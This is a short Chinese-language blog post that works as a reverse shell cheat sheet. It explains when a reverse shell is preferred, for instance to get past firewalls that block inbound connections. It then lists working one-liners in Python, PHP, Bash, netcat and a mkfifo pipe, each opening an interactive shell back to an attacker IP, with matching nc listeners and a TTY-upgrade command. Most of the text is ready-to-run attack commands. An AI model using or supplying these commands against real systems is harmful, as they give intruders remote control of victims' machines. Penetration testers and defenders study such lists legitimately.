24 02 2020

为什么要使用反向 Shell

- 目标机器在一个不同(相对攻击者而言)的私有网络
- 目标机器的防火墙阻挡了所有入口连接(这种情况正向 Shell 是会被防火墙阻挡的)
- 由于一些原因,你的 Payload 不能绑定在应该绑定的端口的时候
- 你还不能确定应该选择反向 Shell 还是正向 Shell 的时候

Python

靶机端

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.99",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击端监听 nc -lvp 1234

Php

靶机端:
方式一:前提是靶机从攻击机上下载该脚本,并执行

<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

攻击端监听
nc -lvp 1234

靶机端:
方式二:直接运用php环境运行脚本

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.99/1234");'

攻击端监听
nc -lvp 1234

Bash

bash -i >& /dev/tcp/192.168.0.99/1234 0>&1

nc -lvp 1234

nc之间的shell反弹

nc -e /bin/sh 192.168.0.99 1234

很多系统都不会自带nc,其中还有一些版本不支持 -e 选项,如果上面- e的语句报错,可以尝试下面的

 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.99 1234 >/tmp/f

监听端:
nc -lvp 1234

exec:

靶机端:

0<&196;exec 196<>/dev/tcp/192.168.0.99/1234; sh <&196>&196 2>&196

监听端:
nc -nvlp 1234

反shell后续

获取反弹shell后,有些功能执行可能会报错,你需要将简单的Shell转换成为完全交互式的TTY

 python -c 'import pty; pty.spawn("/bin/bash")'

MSF反弹shell(我的CSDN博客)

https://blog.csdn.net/weixin_41598660/article/details/104442503

实战反弹shell

https://blog.csdn.net/weixin_41598660/article/details/105254229

延伸阅读
  1. Access数据库防注入系统拿实战shell
  2. 对菠菜站的被动信息收集
  3. 攀登计划项目《MRSAC的安全性分析》
  4. Kerberos网络身份认证协议
  5. 黑客技术总结
  6. 常见解析漏洞总结
  7. 最新总结大部分免杀一句话木马
  8. SQL注入绕过姿势总结
更多阅读
  1. 上一篇:常见解析漏洞总结
  2. 下一篇:黑客技术总结
发表评论 抢沙发